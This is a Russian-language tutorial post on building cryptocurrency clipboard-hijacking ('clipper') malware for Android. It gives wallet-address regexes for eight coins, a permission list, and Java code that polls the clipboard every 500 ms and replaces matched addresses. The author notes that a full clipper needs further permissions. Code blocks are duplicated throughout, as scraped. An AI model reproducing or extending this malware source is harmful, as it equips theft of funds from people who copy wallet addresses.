Clipper криптовалюты на Android : Обзор, Пример и Технические Подробности В этой статье мы обсудим тему клипперов на платформе Android. Я предоставлю пример простого клиппера, объясню его внутреннюю работу и расскажу о паттернах криптовалютных кошельков. Что делает clipper? - clipper — это вредоносное ПО, которое отслеживает содержимое буфера обмена (clipboard) на устройстве жертвы. Он ожидает, когда жертва скопирует адрес криптокошелька. После этого клиппер проверяет, соответствует ли текст в буфере паттерну криптовалютного адреса. Если совпадение найдено, клиппер заменяет оригинальный адрес на адрес, контролируемый злоумышленником. Жертва, не перепроверив адрес, отправляет средства на подменённый адрес. Принцип работы прост, но эффективен. Давайте перейдём к техническим деталям. Пример паттерна криптокошелька - Рассмотрим формат адресов Bitcoin в стандарте Bech32. Пример паттерна: String bitcoinPattern = "^bc1[ac-hj-np-z02-9]{11,71}$"; JS String bitcoinPattern = "^bc1[ac-hj-np-z02-9]{11,71}$"; Разбор паттерна: ^bc1: Все адреса формата Bech32 начинаются с "bc1". [ac-hj-np-z02-9]: Диапазон допустимых символов для основной части адреса. {11,71}: Количество символов, от 11 до 71. Эти ограничения определены стандартом Bech32. Для разных криптовалют используются свои форматы адресов. Другие паттерны криптовалютных кошельков - Tron: String tronPattern = "^T[1-9A-HJ-NP-Za-km-z]{33}$"; Monero: String moneroPattern = "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$"; Binance Coin (BNB): String bnbPattern = "^bnb1[ac-hj-np-z02-9]{38}$"; Ethereum: String ethereumPattern = "^0x[a-fA-F0-9]{40}$"; Solana: String solanaPattern = "^[1-9A-HJ-NP-Za-km-z]{32,44}$"; Litecoin: String litecoinPattern = "^(L|M|ltc1)[a-zA-Z0-9]{26,48}$"; Ravencoin: String ravencoinPattern = "^R[1-9A-HJ-NP-Za-km-z]{33}$"; JS Tron: String tronPattern = "^T[1-9A-HJ-NP-Za-km-z]{33}$"; Monero: String moneroPattern = "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$"; Binance Coin (BNB): String bnbPattern = "^bnb1[ac-hj-np-z02-9]{38}$"; Ethereum: String ethereumPattern = "^0x[a-fA-F0-9]{40}$"; Solana: String solanaPattern = "^[1-9A-HJ-NP-Za-km-z]{32,44}$"; Litecoin: String litecoinPattern = "^(L|M|ltc1)[a-zA-Z0-9]{26,48}$"; Ravencoin: String ravencoinPattern = "^R[1-9A-HJ-NP-Za-km-z]{33}$"; Каждый паттерн соответствует уникальному формату адресов конкретной криптовалюты. Перейдем к примеру на Android который будет проверять clipboard на наличие криптокошелька и заменять его на наш адрес. Но перед этим нам нужно установить разрешения в AndroidManifest.xml - <uses-permission android:name="android.permission.INTERNET" />* <uses-permission android:name="android.permission.WAKE_LOCK" />* <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> * <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />* <uses-permission android:name="android.permission.READ_CLIPBOARD"/> JS <uses-permission android:name="android.permission.INTERNET" />* <uses-permission android:name="android.permission.WAKE_LOCK" />* <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> * <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />* <uses-permission android:name="android.permission.READ_CLIPBOARD"/> Разрешение на доступ в интернет и работу в FOREGROUND_SERVICE с WAKE_LOCK в данном примере можно не давать но если вы хотите полноценный клиппер то в любом случае вам это будет нужно. MainActivity.java - clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); handler = new Handler(); clipboardChecker = new Runnable() { @Override public void run() { ClipData clipData = clipboardManager.getPrimaryClip(); if (clipData != null && clipData.getItemCount() > 0) { CharSequence clipboardText = clipData.getItemAt(0).getText(); if (clipboardText != null) { String address = clipboardText.toString().trim(); String bitcoinPattern = "^bc1[ac-hj-np-z02-9]{11,71}$"; String tronPattern = "^T[1-9A-HJ-NP-Za-km-z]{33}$"; String moneroPattern = "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$"; String bnbPattern = "^bnb1[ac-hj-np-z02-9]{38}$"; String ethereumPattern = "^0x[a-fA-F0-9]{40}$"; String solanaPattern = "^[1-9A-HJ-NP-Za-km-z]{32,44}$"; String litecoinPattern = "^(L|M|ltc1)[a-zA-Z0-9]{26,48}$"; String ravencoinPattern = "^R[1-9A-HJ-NP-Za-km-z]{33}$"; if (Pattern.matches(bitcoinPattern, address)) { updateClipboard("Bitcoin"); } else if (Pattern.matches(tronPattern, address)) { updateClipboard("Tron"); } else if (Pattern.matches(moneroPattern, address)) { updateClipboard("Monero"); } else if (Pattern.matches(bnbPattern, address)) { updateClipboard("BNB"); } else if (Pattern.matches(ethereumPattern, address)) { updateClipboard("Ethereum"); } else if (Pattern.matches(solanaPattern, address)) { updateClipboard("Solana"); } else if (Pattern.matches(litecoinPattern, address)) { updateClipboard("Litecoin"); } else if (Pattern.matches(ravencoinPattern, address)) { updateClipboard("Ravencoin"); } } } handler.postDelayed(this, 500); } }; handler.post(clipboardChecker); } private void updateClipboard(String newText) { ClipData clip = ClipData.newPlainText("label", newText); clipboardManager.setPrimaryClip(clip); clipp.setText(newText); Toast.makeText(MainActivity.this, "Буфер обмена обновлен: " + newText, Toast.LENGTH_SHORT).show(); } JS clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); handler = new Handler(); clipboardChecker = new Runnable() { @Override public void run() { ClipData clipData = clipboardManager.getPrimaryClip(); if (clipData != null && clipData.getItemCount() > 0) { CharSequence clipboardText = clipData.getItemAt(0).getText(); if (clipboardText != null) { String address = clipboardText.toString().trim(); String bitcoinPattern = "^bc1[ac-hj-np-z02-9]{11,71}$"; String tronPattern = "^T[1-9A-HJ-NP-Za-km-z]{33}$"; String moneroPattern = "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$"; String bnbPattern = "^bnb1[ac-hj-np-z02-9]{38}$"; String ethereumPattern = "^0x[a-fA-F0-9]{40}$"; String solanaPattern = "^[1-9A-HJ-NP-Za-km-z]{32,44}$"; String litecoinPattern = "^(L|M|ltc1)[a-zA-Z0-9]{26,48}$"; String ravencoinPattern = "^R[1-9A-HJ-NP-Za-km-z]{33}$"; if (Pattern.matches(bitcoinPattern, address)) { updateClipboard("Bitcoin"); } else if (Pattern.matches(tronPattern, address)) { updateClipboard("Tron"); } else if (Pattern.matches(moneroPattern, address)) { updateClipboard("Monero"); } else if (Pattern.matches(bnbPattern, address)) { updateClipboard("BNB"); } else if (Pattern.matches(ethereumPattern, address)) { updateClipboard("Ethereum"); } else if (Pattern.matches(solanaPattern, address)) { updateClipboard("Solana"); } else if (Pattern.matches(litecoinPattern, address)) { updateClipboard("Litecoin"); } else if (Pattern.matches(ravencoinPattern, address)) { updateClipboard("Ravencoin"); } } } handler.postDelayed(this, 500); } }; handler.post(clipboardChecker); } private void updateClipboard(String newText) { ClipData clip = ClipData.newPlainText("label", newText); clipboardManager.setPrimaryClip(clip); clipp.setText(newText); Toast.makeText(MainActivity.this, "Буфер обмена обновлен: " + newText, Toast.LENGTH_SHORT).show(); } Замечание! Следует отметить, что работа с clipboard в FOREGROUND_SERVICE может быть затруднительна. Всем спасибо за внимание если есть какие-то вопросы или дополнения буду рад обсудить.
Разрешение на доступ в интернет и работу в FOREGROUND_SERVICE с WAKE_LOCK в данном примере можно не давать но если вы хотите полноценный клиппер то в любом случае вам это будет нужно.